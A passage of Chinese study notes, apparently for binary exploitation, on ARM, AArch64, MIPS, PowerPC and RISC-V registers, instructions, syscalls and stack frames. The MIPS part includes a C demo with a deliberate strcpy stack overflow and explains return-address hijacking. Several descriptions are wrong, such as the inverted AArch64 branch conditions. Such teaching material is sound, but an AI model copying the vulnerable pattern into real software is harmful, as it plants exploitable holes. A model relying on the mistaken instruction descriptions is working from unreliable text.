STR R1 [R0] 将 R1 中的值写入到 R0 中所保存的地址中
指令 操作数 描述
PUSH {R0~R3, R12} @将 R0~R3 和 R12 压栈
POP {R0~R3,R12} @从栈中出 R0~R3,R12

STMFDLDMFD指令也可以用于压栈和弹栈。

指令 目的 描述
STMFD SP! {R0~R3, R12} R0~R3,R12 入栈
LDMFD SP! {R0~R3, R12} 从栈中出 R0~R3,R12
指令 计算公式 备注
ADD Rd, Rn, Rm Rd = Rn + Rm 加法运算,指令为 ADD
ADD Rd, Rn, #immed Rd = Rn + #immed 加法运算,指令为 ADD
ADC Rd, Rn, Rm Rd = Rn + Rm + 进位 带进位的加法运算,指令为 ADC
ADC Rd, Rn, #immed Rd = Rn + #immed +进位 带进位的加法运算,指令为 ADC
SUB Rd, Rn, Rm Rd = Rn – Rm 减法
SUB Rd, #immed Rd = Rd - #immed 减法
SUB Rd, Rn, #immed Rd = Rn - #immed 减法
SBC Rd, Rn, #immed Rd = Rn - #immed – 借位 带借位的减法
SBC Rd, Rn ,Rm Rd = Rn – Rm – 借位 带借位的减法
MUL Rd, Rn, Rm Rd = Rn * Rm 乘法(32 位)
UDIV Rd, Rn, Rm Rd = Rn / Rm 无符号除法
SDIV Rd, Rn, Rm Rd = Rn / Rm 有符号除法

LDM,STM详解

LDMIA R0!, {R4-R11, R14}

LDMIA 中的 I 是 increase 的缩写,A 是 after 的缩写,LD加载(load)的意思,R0后面的感叹号“!表示会自动调节 R0里面的指针
所以整句话意思是任务栈R0的存储地址由低到高,将R0存储地址里面的内容手动加载到 寄存器R0,R4-R12里。
STMDB R1!, {R0,R4-R12}

这就和上面反过来了,ST是存储(store)的意思,D是decrease的意思,B是before的意思,整句话就是R1的存储地址由高到低递减,将R0,R4-R12里的内容存储到R1任务栈里面。

其他的

指令: ldr r3, [r1, r2, lsl #2],不会改变寄存器 r1 的值。

指令: ldr r3, [r1, r2, lsl #2]!,感叹号代表事先更新,会改变寄存器r1的值为r1+r2<<2

指令: ldr r2, [r1], r2, lsl #2,是事后更新, 会先把r1保存的值给r2,然后改变r1的值为r1+r2<<2

arm寻址方式

ARM也支持操作不同的数据类型

ARM中被加载或者存储的数据类型可以是**无符号(有符号)的字(words,四字节),半字(halfwords,两字节),或者字节(bytes)**。这些数据类型在汇编语言中的扩展后缀为-h或者-sh对应着半字,-b或者-sb对应着字节,但是对于字并没有对应的扩展。无符号类型与有符号类型的差别是:

  • 符号数据类型可以包含正负数所以数值范围上更低些
  • 无符号数据类型可以放得下很大的正数但是放不了负数

这有一些要求使用对应数据类型做存取操作的汇编指令示例:

1
2
3
4
5
6
7
8
9
10
11
ldr = 加载字,宽度四字节
ldrh = 加载无符号的半字,宽度两字节
ldrsh = 加载有符号的半字,宽度两字节
ldrb = 加载无符号的字节
ldrsb = 加载有符号的字节

str = 存储字,宽度四字节
strh = 存储无符号的半字,宽度两字节
strsh = 存储有符号的半字,宽度两字节
strb = 存储无符号的字节
strsb = 存储有符号的字节

系统调用

  • R7 保存系统调用号
  • R0-R4 保存参数
  • SWI/SVC 指令进行系统调用

栈帧结构

参考链接

一般的栈都是满减栈。下图是其一般结构。

image-20240402194047001

AARCH64

参考链接

寄存器

相较于 armaarch64 的寄存器改名为 Xn,其低 32 位记为 Wn

ARM Description
X0 General Purpose(第 1 个参数,也可被用作累加器,还被用于存储函数的返回值)
X1-X7 General Purpose(用于第 2~8 个 参数)
X8 General Purpose(X8常用来存放系统调用号或一些函数的返回结果)
X9-X28 General Purpose
X29(FP) Frame Pointer(栈帧),ida中显示为 xbp
X30(LR) Link Register(链接寄存器,用来存放函数的返回地址, aarch64中的RET指令返回X30寄存器中存放的地址)
X31(SP) Stack Pointer(栈顶),ida中显示为 xsp
X32(PC) <Program Counter/Instruction Pointer>
XZR 64bit Zero寄存器,写入此寄存器的数据被忽略,读出的数据全为0
WZR 32bit Zero寄存器的32bit形式
ELR_ELx 64bit 异常链接寄存器,保存异常进入ELx的异常地址(x={1,2,3})
SP_ELx 64bit 栈指针, 保存进入ELx的栈地址(x={0,1,2,3})
CPSR 程序状态寄存器,用户级编程时用于存储条件码
SPSR SPSR 除usr、sys外,用于异常保护的CPSR的备份,异常时,保存CPSR值,异常退出时,将该值恢复到CPSR

指令集合

aarch64 的进栈出栈指令用 STPLDP 代替。

STP x29, x30, [sp, #0x10]; 入栈指令,将 x29,x30依次压入 sp+0x10的位置,即 sp+0x10 = x29sp+0x18 = x30

LDP x29, x30, [sp], #0x40; 出栈指令,将 sp 弹到 x29,将 sp+8 弹到 x30,再将 sp+0x40

然后是跳转指令,仍有BBL指令,新增了BR指令(向寄存器中的地址跳转),BLR组合指令。
还有一些带判断的跳转指令:b.ne是不等则跳转,b.eq是等于则跳转,b.le是大于则跳转,b.ge是小于则跳转,b.lt是大于等于则跳转,b.gt是小于等于则跳转,cbz为结果等于零则跳转,cbnz为结果非零则跳转……

系统调用

  • X8 保存系统调用号
  • X0-X7 保存第 1~8 个参数
  • SWI/SVC 指令进行系统调用

栈帧结构

没有太大变化。

image-20240327184427568

MIPS

参考链接

mips是大端(big-endian)架构,而mipsel是小端(little-endian)架构。

寄存器

  • MIPS下一共有32个通用寄存器

  • 在汇编中,寄存器标志由$符开头

  • 寄存器表示可以有两种方式

    • 直接使用该寄存器对应的编号,例如:从$0$31
    • 使用对应的寄存器名称,例如:$t1, $sp
  • 对于乘法和除法分别有对应的两个寄存器$lo, $hi

    • 对于以上二者,不存在直接寻址;必须要通过mfhi("move from hi")以及mflo("move from lo")分别来进行访问对应的内容
    • 栈的走向是从高地址到低地址
REGISTER NAME USAGE
$0 $zero 常量0,永远返回零
$1 $at 汇编保留寄存器(不可做其他用途)
$2-$3 $v0-$v1 (Value简写)存储表达式或者是函数的返回值
$4-$7 $a0-$a3 (Argument简写)存储子程序的前4个参数,在子程序调用过程中释放
$8-$15 $t0-$t7 (Temp简写)临时变量,同上调用时不保存
$16-$23 $s0-$s7 存放子程序调用过程中需要保持不变的值,调用时保存
$24-$25 $t8-$t9 (Temp简写)临时变量,同上调用时不保存
$26-$27 $k0-$k1 为操作系统/异常处理保留,至少要预留一个
$28 $gp 全局指针(Global Pointer)
$29 $sp 堆栈指针(Stack Pointer)
$30 $fp 帧指针(Frame Pointer)
$31 $ra 返回地址(return address)
特殊寄存器 PC 程序计数器
特殊寄存器 HI 乘除结果高位寄存器
特殊寄存器 LO 乘除结果低位寄存器

指令集合

c语言 MIPS名称 大小(字节) 汇编助记符
char byte 1 lb中的“b”
short halfword 2 lh中的“h”
int word 4 lw中的“w”
long(long long) dword 8 ld中的“d”
  • load/store
指令 描述
la $t0, val_1 复制val_1表示的地址到t0寄存器中,val_1是个Label
lw $t2, ($t0) t0寄存器中的值作为地址,把这个地址起始的Word复制到t2 中
lw $t2, 4($t0) t0寄存器中的值作为地址, 把这个地址再加上偏移量4后 所起始的Word 复制到t2中
sw $t2, ($t0) 把t2寄存器中值(1 Word),存储到t0的值所指向的RAM中
sw $t2, -12($t0) 把t2寄存器中值(1 Word),存储到t0的值再减去偏移量12, 所指向的RAM 中
  • 算数运算指令

算数运算指令的所有操作数都是寄存器,不能直接使用RAM地址或间接寻址,操作数的大小都为 Word (4-Byte)。

指令 描述
move $t5, $t1 $t5 = $t1;
add $t0, $t1, $t2 $t0 = $t1 + $t2; 带符号数相加
sub $t0, $t1,$t2 $t0 = $t1 - $t2; 带符号数相减
addi $t0, $t1, 5 $t0 = $t1 + 5;
addu $t0, $t1, $t2 $t0 = $t1 + $t2; 无符号数相加
subu $t0, $t1, $t2 $t0 = $t1 - $t2; 无符号数相减
mult $t3, $t4 $t3 * $t4, 把64-Bits 的积,存储到Lo,Hi中。即: (Hi, Lo) = $t3 * $t4;
div $t5, $t6 Lo = $t5 / $t6 (Lo为商的整数部分); Hi = $t5 mod $t6 (Hi为余数)
mfhi $t0 $t0 = Hi
mflo $t1 $t1 = Lo
  • 分支跳转指令
指令 描述
b target 无条件的分支跳转,将跳转到target 标签处
beq $t0, $t1, target 如果 $t0 == $t1, 则跳转到target 标签处
blt $t0, $t1, target 如果 $t0 < $t1, 则跳转到target 标签处
ble $t0, $t1, target 如果 $t0 <=$t1, 则跳转到target 标签处
bgt $t0, $t1, target 如果 $t0 > $t1, 则跳转到target 标签处
bge $t0, $t1, target 如果 $t0 >= $t1, 则跳转到target 标签处
bne $t0, $t1, target 如果 $t0 != $t1, 则跳转到target 标签处
  • 跳转指令
指令 注释
j target 无条件的跳转, 将跳转到target标签处
jr $t3 跳转到t3寄存器所指向的地址处(Jump Register)
  • 子函数调用指令

jalr sub_routine_label

执行步骤:
  a. 复制当前的PC$ra 寄存器中。 因为当前的 PC 值就是子函数执行完毕后的返回地址。
  b. 程序跳转到子程序标签 sub_routine_label 处。  
  注:子函数的返回,使用 jr $ra  
  如果子函数内又调用了其他的子函数,那么 $ra 的值应该被保存到堆栈中。 因为 $ra 的值总是对应着当前执行的子函数的返回地址。

与x86

大多数采用linux嵌入式操作系统的路由器使用的是MIPS32架构,MIPS32架构函数调用时对栈的分配和使用方式与x86架构有异同之处:

  • mips32与x86一样,栈是从高地址向低地址增长,但mips进入一个函数时需要将当前栈指针向下移动 n 比特,这个大小为n比特的存储空间就是此函数的 stack frame 的存储区域。此后栈指针便不再移动,只能在函数返回时再将栈指针加上这个偏移量恢复栈现场。由于不能随便移动栈指针,所以寄存器压栈和出栈都必须指定偏移量。

  • 函数A调用函数B,A会在栈顶预留一部分空间来保存被调用者B的参数,即调用参数空间。

  • 调用者将前四个参数保存在寄存器 $a0 - $a3 中。如果有更多的参数,或者有传值的结构,将被放在调用参数空间(栈,同x86)。

  • x86使用call命令调用函数会将当前执行位置压入栈,但mips把函数的返回地址直接存入$RA(Return Adress)寄存器,而不是栈。

叶子函数

不存在返回地址放入堆栈,似乎无法利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// subcall_nostack.c
#include<stdio.h>
void no_stack(char *src)
{
char dst[20] = {0};
for(int i = 0; i < count; i++)
dst[i] = src[i];
}

void main(int argc, char *argv[])
{
int count = strlen(argv[1]);
no_stack(argv[1], count);
}
$ mipsel-linux-gcc subcall_nostack.c -static -o subcall_nostack

img](https://raw.githubusercontent.com/p1Kk/blogImg/master/Picture/20200330112823.png )
但是堆栈中函数与函数之间的栈帧是相邻的,如果存在大量溢出可以覆盖到初函数的栈帧中存放的返回地址,就可以达到hijack

非叶子函数

有那么一个机会,就是A调用B,B如果还要调用其他函数,就会将A的返回地址存入堆栈,返回A继续执行时,才会将堆栈中的返回地址写入$RA

1
2
3
4
5
6
7
8
9
10
11
12
13
// subcall_stack.c
#include<stdio.h>
void has_stack(char *src) // 非叶子函数
{
char dst[20] = {0};
strcpy(dst, src); // overflow
}

void main(int argc, char *argv[])
{
has_stack(argv[1]);
}
$ mipsel-linux-gcc subcall_stack.c -static -o subcall_stack

编译后拖进ida看看
img](https://raw.githubusercontent.com/p1Kk/blogImg/master/Picture/20200329221217.png )
这样一来,如果缓冲区溢出覆盖到了返回地址将其改写为magic,即可被利用。

系统调用

  • $V0 保存系统调用号
  • 参数所使用的寄存器:$a0~$a3
  • syscall 指令进行系统调用

栈帧结构

mips

PowerPC

参考链接1 参考链接2 参考链接3

寄存器

  • PowerPC(PPC) 使用RISC精简指令集,指令字长都是32bit,4字节对齐。PPC和IA32 CPU的不同点在于其定义了大量的通用寄存器,这个和ARM和X64有点类似。
  • PowerPC处理器可以运行于两个级别,即用户模式和特权模式。用户模式下,仅有GPR,FPR,CR,FPSCR,LR,CTR,XER以及TBL/TBU可以访问。
  • 从Power ISA 2.05开始,DCR寄存器也可以在通过用户模式DCR访问指令进行访问。
寄存器 名称 功能
GPR0-GPR31(共32个寄存器) 通用寄存器 整数运算和寻址通用寄存器.在ABI规范中,GPR1用于堆栈指针,GPR3-GPR4用于函数返回值,GPR3-GPR10用于参数传递
FPR0-FPR31(共32个寄存器) 浮点寄存器 用于浮点运算。PPC32和PPC64的浮点数都是64位
LR 链接寄存器 记录转跳地址,常用于记录子程序返回的地址。
PC 程序计数器 也称AR指令地址寄存器,或者NIP下一条指令指针
CR 条件寄存器 CR被分为8段,每段四位分别为(LT/GT/EQ/SO), 小于,大于,等于,溢出。
XER 定点异常寄存器 记录溢出和进位标志,作为CR的补充
CTR 计数寄存器 用途相当于ECX
FPSCR 浮点状态和控制寄存器 浮点状态寄存器,用于浮点运算类型的异常记录等,可设置浮点异常捕获掩码
TBL/TBU 时基设施(用于读)
  • 配置寄存器
配置寄存器 作用
HID0-HID2 硬件实现寄存器
MSR 机器状态寄存器(用来配置微处理器的设定)
MBAR 存储器基址寄存器
SVR 系统处理器
PVR 版本寄存器
  • 存储管理寄存器
存储管理寄存器 作用
LBATOU/LBATOL/LBAT3U/LBAT3L 指令BAT寄存器
DBATOU/DBATOL/DBAT3U/DBAT3L 数据BAT寄存器
DMISS/DCMP/HASH1/HASH2/ICMP/RPA 软件表搜索寄存器
SDR1 SDR1
SR0-SR15 段寄存器
SPRGs:SPRG0-SPRG7 中断处理寄存器
DSISR DSISR
SRP0 SRP1 保存恢复寄存器
DEC 多功能寄存器
CSRR0-CSRR1 紧急中断寄存器
DAR 数据地址寄存器
TBL/TBU 时基设施(用于写)
IABR/IABR2/DABR/DABR2 指令/数据地址断点寄存器
IBCR/DBCR 指令/数据地址断点控制
  • 通用寄存器
通用寄存器 作用
r0 在函数开始时使用
r1(SP) 堆栈指针,相当于ia32架构中的esp寄存器,
r2(rtoc) 内容表指针,idapro吧这个寄存器反汇编标识为rtoc,系统调用时包含系统调用号
r3 作为第一个参数和返回值
r4-r10 函数或系统调用开始的参数
r11 用在指针的调用或当做一些语言的环境指针
r12 他用在异常处理个 glink(动态链接器代码)
r13 保留作为系统线程id
r14-r31 作为本地变量非易失性
  • 异常处理器
寄存器 说明
SO 总体溢出标志 一旦有溢出位OV置位,SO就会置位。
OV 溢出标志 当发生溢出时置位,否则清零;在作乘法或除法运算时,如果结果超过寄存器的表达范围,则溢出置位。
CA 进位标志 当最高位产生进位时,置位,否则清零;扩展精度指令(后述)可以用CA作为操作符参与运算。
  • 机器字长
PPC 字长(BITS) 简称 IA32
BYTE 8 B BYTE
HALF WORD 16 H WORD
WORD 32 W DWORD
DWORD 64 D QWORD
  • 寄存器r1、r14-r31是非易失性的,这意味着它们的值在函数调用过程保持不变。寄存器r2也算非易失性,但是只有在调用函数在调用后必须恢复它的值时才被处理。

  • 寄存器r0、r3-r12和特殊寄存器lr、ctr、xer、fpscr是易失性的,它们的值在函数调用过程中会发生变化。此外寄存器r0、r2、r11和r12可能会被交叉模块调用改变,所以函数在调用的时候不能采用它们的值。

  • 条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性的。cr2、cr3和cr4是非易失性的,函数如果要改变它们必须保存并恢复这些字段。

指令集合

  • 寄存器表示法
    所有计算值的指令均以第一个操作数作为目标寄存器。在所有这些指令中,寄存器都仅用数字指定。例如,将数字 12 载入寄存器的指令是li reg,12。12 表示数字 12,原因在于指令格式(因为li第一个操作数就是寄存器,第2个是立即数)。在某些指令中,GPR0 只是代表数值 0,而不会去查找 GPR0 的内容。

  • 立即指令
    i结束的指令通常是立即指令。li 表示“立即装入”,它是表示“在编译时获取已知的常量值并将它存储到寄存器中”的一种方法。

  • 助记符
    li实际上不是一条指令,它真正的含义是助记符。 助记符有点象预处理器宏:它是汇编程序接受的但秘密转换成其它指令的一条指令。上面提到的li reg,12 实际上被定义为addi reg,0,12

指令 描述
li REG, VALUE 加载寄存器 REG,数字为 VALUE
add REGA, REGB, REGC 将 REGB 与 REGC 相加,并将结果存储在 REGA 中
addi REGA, REGB, VALUE 将数字 VALUE 与 REGB 相加,并将结果存储在 REGA 中
mr REGA, REGB 将 REGB 中的值复制到 REGA 中
or REGA, REGB, REGC 对 REGB 和 REGC 执行逻辑 “或” 运算,并将结果存储在 REGA 中
ori REGA, REGB, VALUE 对 REGB 和 VALUE 执行逻辑 “或” 运算,并将结果存储在 REGA 中
and, andi, xor, xori, nand, nand, nor 其他所有此类逻辑运算都遵循与 “or” 或 “ori” 相同的模式
ld REGA, 0(REGB) 使用 REGB 的内容作为要载入 REGA 的值的内存地址
lbz, lhz, lwz 它们均采用相同的格式,但分别操作字节、半字和字(“z” 表示清除该寄存器中的其他内容)
b ADDRESS 跳转(或转移)到地址 ADDRESS 处的指令
bl ADDRESS 对地址 ADDRESS 的子例程调用
cmpd REGA, REGB 比较 REGA 和 REGB 的内容,并恰当地设置状态寄存器的各位
beq ADDRESS 若之前比较过的寄存器内容等同,则跳转到 ADDRESS
bne, blt, bgt, ble, and bge 它们均采用相同的形式,但分别检查不等、小于、大于、小于等于和大于等于
std REGA, d(REGB) 使用 REGB 的地址+d作为保存 REGA 的值的内存地址
stb, sth, and stw 它们均采用相同的格式,但分别操作字节、半字和字
sc 系统调用

系统调用

  • 系统调用指令 sc

    • 指令的使用:
    • r0为syscall调用号
    • r3为参数一
    • r4为参数二
    • r5为参数三
    • 在ppc中syscall使用sc
      • sc指令调用操作系统去执行服务程序。当控制返回到一个执行系统调用的程序时,寄存器的内容依赖于程序提供的系统所使用的寄存器的约定。
      • 跟在sc指令后面的有效指令地址被放在SRR0中。MSR中的位0、5~9和16~31被放在SRR1中对应的位置,SRR1中位1~4和10~15被设置为未定义值。当sc异常产生,异常处理程序更改MSR寄存器。异常处理程序到MSR[IP]形成基址加0xC00偏移量形成的地址去取下一条指令。
      • 受影响的寄存器有:依赖于系统服务、SRR0、SRR1及MSR。
  • 中断返回指令rfi

    • 指令操作:
      • MSR[16-23,25-27,30-31] <—SRR1[16-23,25-27,30-31]
      • NIA<—iea SRR0[0-29]||0b00
      • SRR1中的位0、5~9和16~31被放在MSR中对应的位置。如果新的MSR值没有使能任何未完的操作,则在MSR的控制下,从地址SRR0[0-29]_0b00取下一条指令。
      • 指令的使用中受影响的寄存器为MSR。
      • 实际上还有一些特殊的跳转指令rfi/rfci/rfmci,其目的地址保存在SRR0/CSRR0/MCSRR0中。

栈帧结构

PPC

函数参数域(Function Parameter Area):这个区域的大小是可选的,即如果如果调用函数传递给被调用函数的参数少于六个时,用GPR4至GPR10这个六个寄存器就可以了,被调用函数的栈帧中就不需要这个区域;但如果传递的参数多于六个时就需要这个区域。

局部变量域(Local Variables Area):通上所示,如果临时寄存器的数量不足以提供给被调用函数的临时变量使用时,就会使用这个域。

CR寄存器:即使修改了CR寄存器的某一个段CRx(x=0至7),都有保存这个CR寄存器的内容。

通用寄存器GPR:当需要保存GPR寄存器中的一个寄存器器GPRn时,就需要把从GPRn到GPR31的值都保存到堆栈帧中。

浮点寄存器FPR:使用规则共GPR寄存器。

每个C函数开始几行汇编会为自己建立堆栈帧:

1
2
3
4
mflr %r0                ;Get Link register
stwu %r1,-88(%r1) ;Save Back chain and move SP(r1) = r1 – 88
stw %r0,+92(%r1) ;Save Link register
stmw %r28,+72(%r1) ;Save 4 non-volatiles r28-r31

C函数的结尾几行,会移除建立的堆栈帧,并使得SP(即GPR1)寄存器指向上一个栈帧的栈顶(即栈帧的最低地址处,也就是back chain)

1
2
3
4
5
lwz %r0,+92(%r1)       ;Get saved Link register
mtlr %r0 ;Restore Link register
lmw %r28,+72(%r1) ;Restore non-volatiles
addi %r1,%r1,88 ;Remove sp frame from stack r1 = r1 + 88
blr ;Return to calling function

RISC-V

寄存器

寄存器 ABI 名称 说明
x0 zero 0值寄存器,硬编码为0,写入数据忽略,读取数据为0
x1 ra 用于返回地址(return address)
x2 sp 用于栈指针(stack pointer)
x3 gp 用于通用指针 (global pointer)
x4 tp 用于线程指针 (thread pointer)
x5 t0 用于存放临时数据或者备用链接寄存器
x6~x7 t1~t2 用于存放临时数据寄存器
x8 s0/fp 需要保存的寄存器或者帧指针寄存器
x9 s1 需要保存的寄存器
x10~x11 a0~a1 函数传递参数寄存器或者函数返回值寄存器
x12~x17 a2~a7 函数传递参数寄存器
x18~x27 s2-s11 需要保存的寄存器
x28~x31 t3~t6 用于存放临时数据寄存器

RISC-V有x0~x31共32个通用寄存器,每个通用寄存器都有各自的用途,例如x2是作为sp栈指针、a0~a1用来保存函数参数或返回值。x0寄存器被硬编码为了0,就是个0值寄存器。

ABI名称相当于这些通用寄存器的别名,在RISC-V汇编当中,都使用ABI名称来代表这些寄存器。

指令集合

RISC-V指令集由“基本指令集 + 扩展指令集”组成。基本指令集是必选的,扩展指令集是可选的。意思就是可以根据你的实际需求,选择需要使用的指令。例如在一个项目中,如果不需要用到压缩指令,那么就不需要把压缩指令添加进来,从而做到定制化,这也是RISC-V的一大特点。

RISC-V指令集有RV32I、RV32E、RV64I、RV64E、RV64I等等,RV代表RISC-V,32/64代表32位或64位,I和E都是基本指令集,在I和E的基础上,可以添加D(双精度浮点扩展)、M(整数乘除法)、A(原子扩展)、C(压缩扩展)等扩展指令。例如,在RV64I基础上,添加原子、整数乘除法、双精度浮点、压缩指令,则该指令集称为RV64IMADC。

序号 指令类型 作用
1 R 型指令 用于寄存器和寄存器操作
2 I 型指令 用于短立即数和内存载入指令load操作
3 S 型指令 用于内存存储store操作
4 B 型指令 用于有条件跳转操作
5 U 型指令 用于长立即数操作
6 J 型指令 用于无条件跳转操作

如果一些CPU有更多的功能要求,可以在基础指令的基础上组装扩展指令,扩展指令主要有以下这些:

  • M:乘除法、取模求余指令
  • F:单精度浮点指令
  • D:双精度浮点指令
  • Q:四倍浮点指令
  • A:原子操作指令,例如常见的cas(compare and swap)指令
  • C:压缩指令,主要用于改善程序大小
  • G:= I+M+A+D+F,表示通用处理器所包含的指令集
  • 其他可参考:RISC-V官方手册

image-20240419192916102

算术运算

  • add rd,rs1,rs2 将寄存器rs1与rs2的值相加并写入寄存器rd。
  • sub rd,rs1,rs2 将寄存器rs1与rs2的值相减并写入寄存器rd。
  • addi rd,rs1,imm 将寄存器rs1的值与立即数imm相加并存入寄存器rd。
  • mul rd,rs1,rs2 将寄存器rs1与rs2的值相乘并写入寄存器rd。
  • div rd,rs1,rs2 将寄存器rs1除以寄存器rs2的值,向零舍入并写入寄存器rd。
  • rem rd,rs1,rs2 将寄存器rs1模寄存器rs2的值并写入寄存器rd。

以上运算发生溢出时会自动截断高位。乘法可以用mulh/mulhu获得两个32位数乘积的高32位,细节不赘述。

逻辑运算

  • and rd,rs1,rs2 将寄存器rs1与rs2的值按位与并写入寄存器rd。
  • andi rd,rs1,imm 将寄存器rs1的值与立即数imm的值按位与并写入寄存器rd。
  • or rd,rs1,rs2 将寄存器rs1与rs2的值按位或并写入寄存器rd。
  • ori rd,rs1,imm 将寄存器rs1的值与立即数imm的值按位或并写入寄存器rd。
  • xor rd,rs1,rs2 将寄存器rs1与rs2的值按位异或并写入寄存器rd。
  • xori rd,rs1,imm 将寄存器rs1的值与立即数imm的值按位异或并写入寄存器rd。

移位运算

  • sll rd,rs1,rs2 将寄存器rs1的值左移寄存器rs2的值这么多位,并写入寄存器rd。
  • slli rd,rs1,imm 将寄存器rs1的值左移立即数imm的值这么多位,并写入寄存器rd。
  • srl rd,rs1,rs2 将寄存器rs1的值逻辑右移寄存器rs2的值这么多位,并写入寄存器rd。
  • srli rd,rs1,imm 将寄存器rs1的值逻辑右移立即数imm的值这么多位,并写入寄存器rd。
  • sra rd,rs1,rs2 将寄存器rs1的值算数右移寄存器rs2的值这么多位,并写入寄存器rd。
  • srai rd,rs1,imm 将寄存器rs1的值算数右移立即数imm的值这么多位,并写入寄存器rd。

左移会在右边补0,逻辑右移会在最高位添0,算数右移在最高位添加符号位。

区分算数右移和逻辑右移,是从计算的角度考虑的:左移一位等于乘2,右移一位等于除2是算数的规律;无论正数负数,在右边补0都等于乘2;而负数进行逻辑右移的结果不等于除以2,需要用算数右移;而若只有算术右移,则无符号数的运算又会受影响。

数据传输指令

前面讲到,想要对主存中的数据进行运算,需要先将其取至寄存器,数据传输指令实现了这个目的。

现代计算机以字节(byte,1byte=8bits)为基本单位,而内存本身可被视作由byte组成的一维数组,地址从0开始。(word)则是存取数据的另一个单位,在RISC-V中1word=4Bytes=32bits,在其他体系结构中可能会发生变化。

  • lb rd,offset(rs1) 从地址为寄存器rs1的值加offset的主存中读一个字节,符号扩展后存入rd
  • lh rd,offset(rs1) 从地址为寄存器rs1的值加offset的主存中读半个字,符号扩展后存入rd
  • lw rd,offset(rs1) 从地址为寄存器rs1的值加offset的主存中读一个字,符号扩展后存入rd
  • lbu rd,offset(rs1) 从地址为寄存器rs1的值加offset的主存中读一个无符号的字节,零扩展后存入rd
  • lhu rd,offset(rs1) 从地址为寄存器rs1的值加offset的主存中读半个无符号的字,零扩展后存入rd
  • lwu rd,offset(rs1) 从地址为寄存器rs1的值加offset的主存中读一个无符号的字,零扩展后存入rd
  • sb rs1,offset(rs2) 把寄存器rs1的值存入地址为寄存器rs2的值加offset的主存中,保留最右端的8位
  • sh rs1,offset(rs2) 把寄存器rs1的值存入地址为寄存器rs2的值加offset的主存中,保留最右端的16位
  • sw rs1,offset(rs2) 把寄存器rs1的值存入地址为寄存器rs2的值加offset的主存中,保留最右端的32位

l是load的首字母,即加载数据;s是store的缩写,即存储数据。b,h,w分别是byte,half word,word的首字母,除此之外还有存取双字的d,即double word。

举例:

1
2
long long A[100];
A[10] = A[3] + a;

假设数组A首地址在寄存器x3,a在x2:

1
2
3
ld x10,24(x3)       # long long占64bits=8bytes,A[3]的地址为A[0]+3*8
add x10,x2,x10
sd x10,80(x3)

比较指令

有符号数:

  • slt rd,rs1,rs2 若rs1的值小于rs1的值,rd置为1,否则置为0
  • slti rd,rs1,imm 若rs1的值小于立即数imm,rd置为1,否则置为0

无符号数:

  • sltu rd,rs1,rs2 若rs1的值小于rs1的值,rd置为1,否则置为0
  • sltiu rd,rs1,imm 若rs1的值小于立即数imm,rd置为1,否则置为0

条件分支指令

  • beq rs1,rs2,lable 若rs1的值等于rs2的值,程序跳转到lable处继续执行
  • bne rs1,rs2,lable 若rs1的值不等于rs2的值,程序跳转到lable处继续执行
  • blt rs1,rs2,lable 若rs1的值小于rs2的值,程序跳转到lable处继续执行
  • bge rs1,rs2,lable 若rs1的值大于等于rs2的值,程序跳转到lable处继续执行

blt/bge也有无符号版本bltu/bgeu

举例:

1
2
3
4
5
6
7
8
9
10
int i = 0;
do{
i++;
}while(i<10)

add x2,x0,10 # x2 = 10
add x3,x0,0 # i = 0存储在x3
Loop:
add x3,x3,1 # i++
blt x3,x2,Loop # i<10则继续循环

无条件跳转指令

  • j label 程序直接跳转到lable处继续执行
  • jal rd,label 用于调用函数,把下一条指令的地址保存在rd中(通常用x1),然后跳转到label处继续执行
  • jalr rd,offset(rs) 可用于函数返回,把下一条指令的地址存到rd中,然后跳转到rs+offset地址处的指令继续执行。若rd=x0就是单纯的跳转(x0不能被修改)

这里详细解释一下jal/jalr,在调用函数时,我们希望函数返回后,继续执行下一条指令,所以要把这下一条指令的地址存起来,再跳转到函数的代码块。函数执行完之后,根据先前存起来的指令地址,再跳回到调用处继续执行。

系统调用

在Linux下,RISC-V系统调用指令是ecall,它用于触发一个系统调用。当ecall指令被执行时,RISC-V处理器会进入特权模式,并跳转到一个预定义的地址,这个地址通常是一个称为ecall_handler的函数。

在RISC-V架构中,系统调用的参数通常通过一组特定的寄存器传递。这些寄存器的使用可能会根据特定的系统调用约定而变化,但是通常情况下,这些寄存器的使用如下:

  • a0 - a7:用于传递系统调用的参数。

  • a7:用于传递系统调用的编号。

例如,如果你想调用exit系统调用,你可以将系统调用编号(在RISC-V中,exit系统调用的编号通常是10)存储在a7寄存器中,然后执行ecall指令。

栈帧结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 编译参数:riscv32-unknown-elf-gcc -O0 -S

#include <stdarg.h>

void f(long long a);

void long_args(int a1, int a2, int a3, int a4, int a5, int a6, int a7, long long a8, int a9)
{
f(a8);
}

int va_sum(int args_num, ...)
{
int sum = 0;
va_list ap;
va_start(ap, args_num);
for (int i = args_num; i > 0; i--)
{
int arg = va_arg(ap, int);
sum = sum + arg;
}
va_end(ap);
return sum;
}

int main()
{
long long *data = (long long*)__builtin_alloca(sizeof(long long));
*data = 0x900000008ll;
long_args(1, 2, 3, 4, 5, 6, 7, *data, 10);
va_sum(8, 1, 2, 3, 4, 5, 6, 7, 8);
}

生成的汇编如下(注意-O0编译参数会将所有的参数和局部变量存储到栈上,在更高优化等级上会被优化,但是传参的方式会保持一致):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
long_args:
addi sp,sp,-64
sw ra,44(sp)
sw s0,40(sp)
addi s0,sp,48
sw a0,-20(s0)
sw a1,-24(s0)
sw a2,-28(s0)
sw a3,-32(s0)
sw a4,-36(s0)
sw a5,-40(s0)
sw a6,-44(s0)
sw a7,12(s0)
lw a0,12(s0)
lw a1,16(s0)
call f
nop
lw ra,44(sp)
lw s0,40(sp)
addi sp,sp,64
jr ra
va_sum:
addi sp,sp,-80
sw s0,44(sp)
addi s0,sp,48
sw a0,-36(s0)
sw a1,4(s0)
sw a2,8(s0)
sw a3,12(s0)
sw a4,16(s0)
sw a5,20(s0)
sw a6,24(s0)
sw a7,28(s0)
sw zero,-20(s0)
addi a5,s0,32
sw a5,-40(s0)
lw a5,-40(s0)
addi a5,a5,-28
sw a5,-32(s0)
lw a5,-36(s0)
sw a5,-24(s0)
j .L3
